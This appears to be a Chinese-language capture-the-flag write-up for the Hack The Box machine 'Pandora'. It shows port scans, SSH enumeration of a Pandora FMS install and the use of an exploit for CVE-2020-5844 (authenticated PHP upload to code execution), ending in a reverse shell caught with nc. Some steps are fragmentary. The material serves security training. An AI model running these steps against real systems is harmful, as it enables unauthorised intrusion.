┌──(kali㉿kali)-[~/桌面] └─$ ping 10.10.11.136 -c 4 PING 10.10.11.136 (10.10.11.136) 56(84) bytes of data. 64 bytes from 10.10.11.136: icmp_seq=1 ttl=63 time=286 ms 64 bytes from 10.10.11.136: icmp_seq=2 ttl=63 time=275 ms 64 bytes from 10.10.11.136: icmp_seq=3 ttl=63 time=285 ms 64 bytes from 10.10.11.136: icmp_seq=4 ttl=63 time=383 ms
--- 10.10.11.136 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3005ms rtt min/avg/max/mdev = 275.412/307.245/383.245/44.061 ms
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.11.136 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-27 09:09 CST Nmap scan report for 10.10.11.136 Host is up (0.30s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,80 -Pn --min-rate=10000 10.10.11.136 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-27 09:09 CST Nmap scan report for 10.10.11.136 Host is up (0.28s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA) | 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA) |_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Play | Landing Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.10 seconds
4、这里查看下网站首页文件
5、首页存在一个域名，我们做一下hosts绑定
1 2 3
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.11.136 panda.htb" | sudo tee -a /etc/hosts 10.10.11.136 panda.htb
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://panda.htb/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sU 10.10.11.136 -p- --min-rate=10000 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-27 09:46 CST Warning: 10.10.11.136 giving up on port because retransmission cap hit (10). Nmap scan report for panda.htb (10.10.11.136) Host is up (0.29s latency). Not shown: 65455 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach) PORT STATE SERVICE 161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 74.51 seconds
┌──(kali㉿kali)-[~/桌面] └─$ ssh daniel@10.10.11.136 The authenticity of host '10.10.11.136 (10.10.11.136)' can't be established. ED25519 key fingerprint is SHA256:yDtxiXxKzUipXy+nLREcsfpv/fRomqveZjm6PXq9+BY. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.136' (ED25519) to the list of known hosts. daniel@10.10.11.136's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
System information as of Wed 27 Dec 03:13:17 UTC 2023
System load: 0.0 Usage of /: 63.1% of 4.87GB Memory usage: 9% Swap usage: 0% Processes: 236 Users logged in: 0 IPv4 address for eth0: 10.10.11.136 IPv6 address for eth0: dead:beef::250:56ff:feb9:af3
=> /boot is using 91.8% of 219MB
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
daniel@pandora:~$ id uid=1001(daniel) gid=1001(daniel) groups=1001(daniel) daniel@pandora:~$ pwd /home/daniel daniel@pandora:~$ ls daniel@pandora:~$ ls -la /home total 16 drwxr-xr-x 4 root root 4096 Dec 7 2021 . drwxr-xr-x 18 root root 4096 Dec 7 2021 .. drwxr-xr-x 4 daniel daniel 4096 Dec 27 03:13 daniel drwxr-xr-x 2 matt matt 4096 Dec 7 2021 matt daniel@pandora:~$
daniel@pandora:~$ ss -lt State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:* LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* LISTEN 0 80 127.0.0.1:mysql 0.0.0.0:* LISTEN 0 511 *:http *:* LISTEN 0 128 [::]:ssh [::]:* daniel@pandora:~$ ls -lah /var/www/ total 16K drwxr-xr-x 4 root root 4.0K Dec 7 2021 . drwxr-xr-x 14 root root 4.0K Dec 7 2021 .. drwxr-xr-x 3 root root 4.0K Dec 7 2021 html drwxr-xr-x 3 matt matt 4.0K Dec 7 2021 pandora daniel@pandora:~$ ls -la /var/www/html total 48 drwxr-xr-x 3 root root 4096 Dec 7 2021 . drwxr-xr-x 4 root root 4096 Dec 7 2021 .. drwxr-xr-x 7 root root 4096 Dec 7 2021 assets -rw-r--r-- 1 root root 33560 Dec 3 2021 index.html daniel@pandora:~$ ls -la /var/www/pandora total 16 drwxr-xr-x 3 matt matt 4096 Dec 7 2021 . drwxr-xr-x 4 root root 4096 Dec 7 2021 .. -rw-r--r-- 1 matt matt 63 Jun 11 2021 index.html drwxr-xr-x 16 matt matt 4096 Dec 7 2021 pandora_console daniel@pandora:~$ ls -la /var/www/pandora/pandora_console/ total 1596 drwxr-xr-x 16 matt matt 4096 Dec 7 2021 . drwxr-xr-x 3 matt matt 4096 Dec 7 2021 .. -rw-r--r-- 1 matt matt 3746 Jan 3 2020 ajax.php drwxr-xr-x 6 matt matt 4096 Dec 7 2021 attachment -rw-r--r-- 1 matt matt 1175 Jun 17 2021 audit.log -rw-r--r-- 1 matt matt 534 Jan 3 2020 AUTHORS -rw-r--r-- 1 matt matt 585 Jan 3 2020 composer.json -rw-r--r-- 1 matt matt 16003 Jan 3 2020 composer.lock -rw-r--r-- 1 matt matt 14875 May 17 2019 COPYING -rw-r--r-- 1 matt matt 506 Jan 3 2020 DB_Dockerfile drwxr-xr-x 2 matt matt 4096 Dec 7 2021 DEBIAN -rw-r--r-- 1 matt matt 3366 Jan 3 2020 docker_entrypoint.sh -rw-r--r-- 1 matt matt 1263 Jan 3 2020 Dockerfile drwxr-xr-x 11 matt matt 4096 Dec 7 2021 extensions drwxr-xr-x 4 matt matt 4096 Dec 7 2021 extras drwxr-xr-x 2 matt matt 4096 Dec 7 2021 fonts drwxr-xr-x 5 matt matt 4096 Dec 7 2021 general drwxr-xr-x 20 matt matt 4096 Dec 7 2021 godmode drwxr-xr-x 21 matt matt 36864 Dec 7 2021 images drwxr-xr-x 21 matt matt 4096 Dec 7 2021 include -rw-r--r-- 1 matt matt 52704 Dec 2 2021 index.php -rw-r--r-- 1 matt matt 42398 Jan 3 2020 install.done drwxr-xr-x 5 matt matt 4096 Dec 7 2021 mobile drwxr-xr-x 15 matt matt 4096 Dec 7 2021 operation -rw-r--r-- 1 matt matt 1302 Dec 27 01:06 pandora_console.log -rw-r--r-- 1 matt matt 234 May 17 2019 pandora_console_logrotate_centos -rw-r--r-- 1 matt matt 171 May 17 2019 pandora_console_logrotate_suse -rw-r--r-- 1 matt matt 222 May 17 2019 pandora_console_logrotate_ubuntu -rw-r--r-- 1 matt matt 4883 May 17 2019 pandora_console_upgrade -rw-r--r-- 1 matt matt 1168598 Jan 3 2020 pandoradb_data.sql -rw-r--r-- 1 matt matt 160283 Jan 3 2020 pandoradb.sql -rw-r--r-- 1 matt matt 476 Jan 3 2020 pandora_websocket_engine.service drwxr-xr-x 3 matt matt 4096 Dec 7 2021 tests drwxr-xr-x 2 matt matt 4096 Dec 7 2021 tools drwxr-xr-x 11 matt matt 4096 Dec 7 2021 vendor -rw-r--r-- 1 matt matt 4856 Jan 3 2020 ws.php daniel@pandora:~$ cat /var/www/pandora/pandora_console/DB_Dockerfile FROM mysql:5.5 MAINTAINER Pandora FMS Team <info@pandorafms.com>
WORKDIR /pandorafms/pandora_console
ADD pandoradb.sql /docker-entrypoint-initdb.d ADD pandoradb_data.sql /docker-entrypoint-initdb.d RUN chown mysql /docker-entrypoint-initdb.d
ENV MYSQL_DATABASE=pandora
RUN echo" \n\ sed -i \"1iUSE \$MYSQL_DATABASE\" /docker-entrypoint-initdb.d/pandoradb.sql \n\ sed -i \"1iUSE \$MYSQL_DATABASE\" /docker-entrypoint-initdb.d/pandoradb_data.sql \n\ " >> /docker-entrypoint-initdb.d/create_pandoradb.sh daniel@pandora:~$ cat /var/www/pandora/pandora_console/Dockerfile FROM centos:centos6 MAINTAINER Pandora FMS Team <info@pandorafms.com>
# Simple startup script to avoid some issues observed with container restart ADD docker_entrypoint.sh /entrypoint.sh RUN chmod -v +x /entrypoint.sh
CMD ["/entrypoint.sh"]
daniel@pandora:~$ cat /var/www/pandora/pandora_console/docker_entrypoint.sh #!/bin/bash set -e if [ -n "$MYSQL_PORT_3306_TCP" ]; then if [ -z "$PANDORA_DB_HOST" ]; then PANDORA_DB_HOST='mysql' else echo >&2 'warning: both PANDORA_DB_HOST and MYSQL_PORT_3306_TCP found' echo >&2 " Connecting to PANDORA_DB_HOST ($PANDORA_DB_HOST)" echo >&2 ' instead of the linked mysql container' fi fi
if [ -z "$PANDORA_DB_HOST" ]; then echo >&2 'error: missing PANDORA_DB_HOST and MYSQL_PORT_3306_TCP environment variables' echo >&2 ' Did you forget to --link some_mysql_container:mysql or set an external db' echo >&2 ' with -e PANDORA_DB_HOST=hostname:port?' exit 1 fi
# if we're linked to MySQL and thus have credentials already, let's use them : ${PANDORA_DB_USER:=${MYSQL_ENV_MYSQL_USER:-root}} if [ "$PANDORA_DB_USER" = 'root' ]; then : ${PANDORA_DB_PASSWORD:=$MYSQL_ENV_MYSQL_ROOT_PASSWORD} fi : ${PANDORA_DB_PASSWORD:=$MYSQL_ENV_MYSQL_PASSWORD} if [ -z "$PANDORA_DB_NAME" ]; then : ${PANDORA_DB_NAME:=${MYSQL_ENV_MYSQL_DATABASE:-pandora}} fi
if [ -z "$PANDORA_DB_PASSWORD" ]; then echo >&2 'error: missing required PANDORA_DB_PASSWORD environment variable' echo >&2 ' Did you forget to -e PANDORA_DB_PASSWORD=... ?' echo >&2 echo >&2 ' (Also of interest might be PANDORA_DB_USER and PANDORA_DB_NAME.)' exit 1 fi
cd /var/www/html/pandora_console && mv -f install.php install.php.done
#Create the pandora user /usr/sbin/useradd -d /home/pandora -s /bin/false -M -g 0 pandora
#Rock n' roll! /etc/init.d/crond start & /etc/init.d/ntpd start &
rm -rf /run/httpd/* exec /usr/sbin/apachectl -D FOREGROUND daniel@pandora:~$ cat /var/www/pandora/pandora_console/include/con config.inc.php config.php config_process.php constants.php daniel@pandora:~$ cat /var/www/pandora/pandora_console/include/config. config.inc.php config.php daniel@pandora:~$ cat /var/www/pandora/pandora_console/include/config.php cat: /var/www/pandora/pandora_console/include/config.php: Permission denied daniel@pandora:~$ ls -la /var/www/pandora/pandora_console/include/ total 4184 drwxr-xr-x 21 matt matt 4096 Dec 7 2021 . drwxr-xr-x 16 matt matt 4096 Dec 7 2021 .. drwxr-xr-x 2 matt matt 4096 Dec 7 2021 ajax -rw-r--r-- 1 matt matt 10817 Jan 3 2020 api.php drwxr-xr-x 3 matt matt 4096 Dec 7 2021 auth drwxr-xr-x 2 matt matt 4096 Dec 7 2021 browscap -rw-r--r-- 1 matt matt 83565 May 17 2019 calendar.js -rw-r--r-- 1 matt matt 11133 Jan 3 2020 chart_generator.php drwxr-xr-x 2 matt matt 4096 Dec 7 2021 class -rw-r--r-- 1 matt matt 1208 Jan 3 2020 config.inc.php -rw------- 1 matt matt 413 Dec 3 2021 config.php -rw-r--r-- 1 matt matt 9455 Jan 3 2020 config_process.php -rw-r--r-- 1 matt matt 20304 Jan 3 2020 constants.php drwxr-xr-x 2 matt matt 4096 Dec 7 2021 db drwxr-xr-x 5 matt matt 4096 Dec 7 2021 ehorus drwxr-xr-x 2 matt matt 4096 Dec 7 2021 fonts -rw-r--r-- 1 matt matt 103508 Jan 3 2020 functions_agents.php -rw-r--r-- 1 matt matt 74014 Jan 3 2020 functions_alerts.php -rw-r--r-- 1 matt matt 533199 Jan 3 2020 functions_api.php -rw-r--r-- 1 matt matt 2268 Jan 3 2020 functions_categories.php -rw-r--r-- 1 matt matt 8790 Jan 3 2020 functions_clippy.php -rw-r--r-- 1 matt matt 2354 Jan 3 2020 functions_component_groups.php -rw-r--r-- 1 matt matt 125584 Jan 3 2020 functions_config.php -rw-r--r-- 1 matt matt 11772 Jan 3 2020 functions_container.php -rw-r--r-- 1 matt matt 1296 Jan 3 2020 functions_credential_store.php -rw-r--r-- 1 matt matt 24900 Jan 3 2020 functions_cron.php -rw-r--r-- 1 matt matt 30834 Jan 3 2020 functions_custom_fields.php -rw-r--r-- 1 matt matt 6141 Jan 3 2020 functions_custom_graphs.php -rw-r--r-- 1 matt matt 62274 Jan 3 2020 functions_db.php -rw-r--r-- 1 matt matt 2264 Jan 3 2020 functions_event_responses.php -rw-r--r-- 1 matt matt 203093 Jan 3 2020 functions_events.php -rw-r--r-- 1 matt matt 201815 Jan 3 2020 functions_events.php.orig -rw-r--r-- 1 matt matt 2409 Jan 3 2020 functions_exportserver.php -rw-r--r-- 1 matt matt 16339 Jan 3 2020 functions_extensions.php -rw-r--r-- 1 matt matt 34154 Jan 3 2020 functions_filemanager.php -rw-r--r-- 1 matt matt 7919 Jan 3 2020 functions_forecast.php -rw-r--r-- 1 matt matt 55389 Jan 3 2020 functions_gis.php -rw-r--r-- 1 matt matt 168692 Jan 3 2020 functions_graph.php -rw-r--r-- 1 matt matt 92604 Jan 3 2020 functions_groups.php -rw-r--r-- 1 matt matt 7988 Jan 3 2020 functions_groupview.php -rw-r--r-- 1 matt matt 116612 Jan 3 2020 functions_html.php -rw-r--r-- 1 matt matt 12608 Jan 3 2020 functions_incidents.php -rw-r--r-- 1 matt matt 12627 Jan 3 2020 functions_integriaims.php -rw-r--r-- 1 matt matt 15493 Jan 3 2020 functions_io.php -rw-r--r-- 1 matt matt 12782 Jan 3 2020 functions_maps.php -rw-r--r-- 1 matt matt 27255 Jan 3 2020 functions_menu.php -rw-r--r-- 1 matt matt 17310 Jan 3 2020 functions_messages.php -rw-r--r-- 1 matt matt 4058 Jan 3 2020 functions_migration.php -rw-r--r-- 1 matt matt 95770 Jan 3 2020 functions_modules.php -rw-r--r-- 1 matt matt 51687 Jan 3 2020 functions_netflow.php -rw-r--r-- 1 matt matt 16692 Jan 3 2020 functions_network_components.php -rw-r--r-- 1 matt matt 73983 Jan 3 2020 functions_networkmap.php -rw-r--r-- 1 matt matt 1229 Jan 3 2020 functions_networkmaps.php -rw-r--r-- 1 matt matt 8151 Jan 3 2020 functions_network.php -rw-r--r-- 1 matt matt 2230 Jan 3 2020 functions_network_profiles.php -rw-r--r-- 1 matt matt 27613 Jan 3 2020 functions_notifications.php -rw-r--r-- 1 matt matt 2361 Jan 3 2020 functions_os.php -rw-r--r-- 1 matt matt 1229 Jan 3 2020 functions_pandora_networkmap.php -rw-r--r-- 1 matt matt 154858 Jan 3 2020 functions.php -rw-r--r-- 1 matt matt 35615 Jan 3 2020 functions_planned_downtimes.php -rw-r--r-- 1 matt matt 2148 Jan 3 2020 functions_post_process.php -rw-r--r-- 1 matt matt 9110 Jan 3 2020 functions_profile.php -rw-r--r-- 1 matt matt 181908 Jan 3 2020 functions_reporting_html.php -rw-r--r-- 1 matt matt 418051 Jan 3 2020 functions_reporting.php -rw-r--r-- 1 matt matt 2381 Jan 3 2020 functions_reporting_xml.php -rw-r--r-- 1 matt matt 23179 Jan 3 2020 functions_reports.php -rw-r--r-- 1 matt matt 40701 Jan 3 2020 functions_servers.php -rw-r--r-- 1 matt matt 32871 Jan 3 2020 functions_snmp_browser.php -rw-r--r-- 1 matt matt 12954 Jan 3 2020 functions_snmp.php -rw-r--r-- 1 matt matt 18055 Jan 3 2020 functions_tactical.php -rw-r--r-- 1 matt matt 81748 Jan 3 2020 functions_tags.php -rw-r--r-- 1 matt matt 2040 Jan 3 2020 functions_themes.php -rw-r--r-- 1 matt matt 31058 Jan 3 2020 functions_treeview.php -rw-r--r-- 1 matt matt 182399 Jan 3 2020 functions_ui.php -rw-r--r-- 1 matt matt 3871 Jan 3 2020 functions_ui_renders.php -rw-r--r-- 1 matt matt 60177 Jan 3 2020 functions_update_manager.php -rw-r--r-- 1 matt matt 33529 Dec 2 2021 functions_users.php -rw-r--r-- 1 matt matt 65797 Jan 3 2020 functions_visual_map_editor.php -rw-r--r-- 1 matt matt 173714 Jan 3 2020 functions_visual_map.php -rw-r--r-- 1 matt matt 7910 Jan 3 2020 functions_wmi.php -rw-r--r-- 1 matt matt 2098 Jan 3 2020 get_file.php -rw-r--r-- 1 matt matt 9272 Jan 3 2020 gettext.php drwxr-xr-x 4 matt matt 4096 Dec 7 2021 graphs drwxr-xr-x 6 matt matt 4096 Dec 7 2021 help drwxr-xr-x 2 matt matt 4096 Dec 7 2021 ics-parser drwxr-xr-x 2 matt matt 4096 Dec 7 2021 Image -rw-r--r-- 1 matt matt 1322 Jan 3 2020 include_graph_dependencies.php drwxr-xr-x 8 matt matt 4096 Dec 7 2021 javascript drwxr-xr-x 3 matt matt 4096 Dec 7 2021 languages drwxr-xr-x 2 matt matt 4096 Dec 7 2021 lib -rw-r--r-- 1 matt matt 4842 Jan 3 2020 load_session.php -rw-r--r-- 1 matt matt 1177 Jan 3 2020 php_to_js_values.php drwxr-xr-x 3 matt matt 4096 Dec 7 2021 rest-api drwxr-xr-x 2 matt matt 4096 Dec 7 2021 sounds -rw-r--r-- 1 matt matt 6152 May 17 2019 streams.php drwxr-xr-x 4 matt matt 4096 Dec 7 2021 styles drwxr-xr-x 2 matt matt 4096 Dec 7 2021 templates -rw-r--r-- 1 matt matt 637 Jan 3 2020 test.js drwxr-xr-x 2 matt matt 4096 Dec 7 2021 visual-console-client -rw-r--r-- 1 matt matt 2640 Jan 3 2020 web2image.js -rw-r--r-- 1 matt matt 5523 Jan 3 2020 websocket_registrations.php daniel@pandora:~$ ls -lah /etc/apache2/sites-available/ total 24K drwxr-xr-x 2 root root 4.0K Dec 7 2021 . drwxr-xr-x 8 root root 4.0K Dec 7 2021 .. -rw-r--r-- 1 root root 1.4K Apr 13 2020 000-default.conf -rw-r--r-- 1 root root 6.2K Apr 13 2020 default-ssl.conf -rw-r--r-- 1 root root 315 Dec 3 2021 pandora.conf daniel@pandora:~$ cat /etc/apache2/sites-available/pandora.conf <VirtualHost localhost:80> ServerAdmin admin@panda.htb ServerName pandora.panda.htb DocumentRoot /var/www/pandora AssignUserID matt matt <Directory /var/www/pandora> AllowOverride All </Directory> ErrorLog /var/log/apache2/error.log CustomLog /var/log/apache2/access.log combined </VirtualHost> daniel@pandora:~$ curl http://localhost/ <meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/"> daniel@pandora:~$ find /var/www/pandora/ -writable daniel@pandora:~$
System information as of Wed 27 Dec 03:26:41 UTC 2023
System load: 0.0 Usage of /: 63.1% of 4.87GB Memory usage: 9% Swap usage: 0% Processes: 226 Users logged in: 1 IPv4 address for eth0: 10.10.11.136 IPv6 address for eth0: dead:beef::250:56ff:feb9:af3
=> /boot is using 91.8% of 219MB
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Dec 27 03:13:18 2023 from 10.10.14.3 daniel@pandora:~$
17、然后本机看一下这个网站信息
18、通过检索，我们发现了以下的信息
1 2 3
Pandora FMS
v7.0NG.742_FIX_PERL2020
19、这里使用谷歌进行搜集相关的漏洞信息
20、发现了一些漏洞信息情况
exploit-CVE-2020-5844
index.php?sec=godmode/extensions&sec2=extensions/files_repo在 Pandora FMS v7.0 NG 中，经过身份验证的管理员可以上传恶意 PHP 脚本，并通过文件位置的 Base64 解码来执行它们。这会影响v7.0NG.742_FIX_PERL2020.
Options: -t Target host and port. Provide target IP address and port. -u Target username and password. Provide username and password to login to Pandora FMS. -p Target valid PHP session ID. No username or password needed. (Optional) -s Reverse shell mode. Provide local IP address and port. (Optional) -c Custom command mode. Provide command to execute. (Optional) -w Web shell custom mode. Provide custom PHP file name. (Optional) -h Show this help menu.
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 10086 listening on [any] 10086 ... connect to [10.10.14.3] from (UNKNOWN) [10.10.11.136] 34152 bash: cannot set terminal process group (937): Inappropriate ioctl for device bash: no job control in this shell matt@pandora:/var/www/pandora/pandora_console/images$
System information as of Wed 27 Dec 06:25:01 UTC 2023
System load: 0.0 Usage of /: 63.3% of 4.87GB Memory usage: 15% Swap usage: 0% Processes: 237 Users logged in: 0 IPv4 address for eth0: 10.10.11.136 IPv6 address for eth0: dead:beef::250:56ff:feb9:af3
=> /boot is using 91.8% of 219MB
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
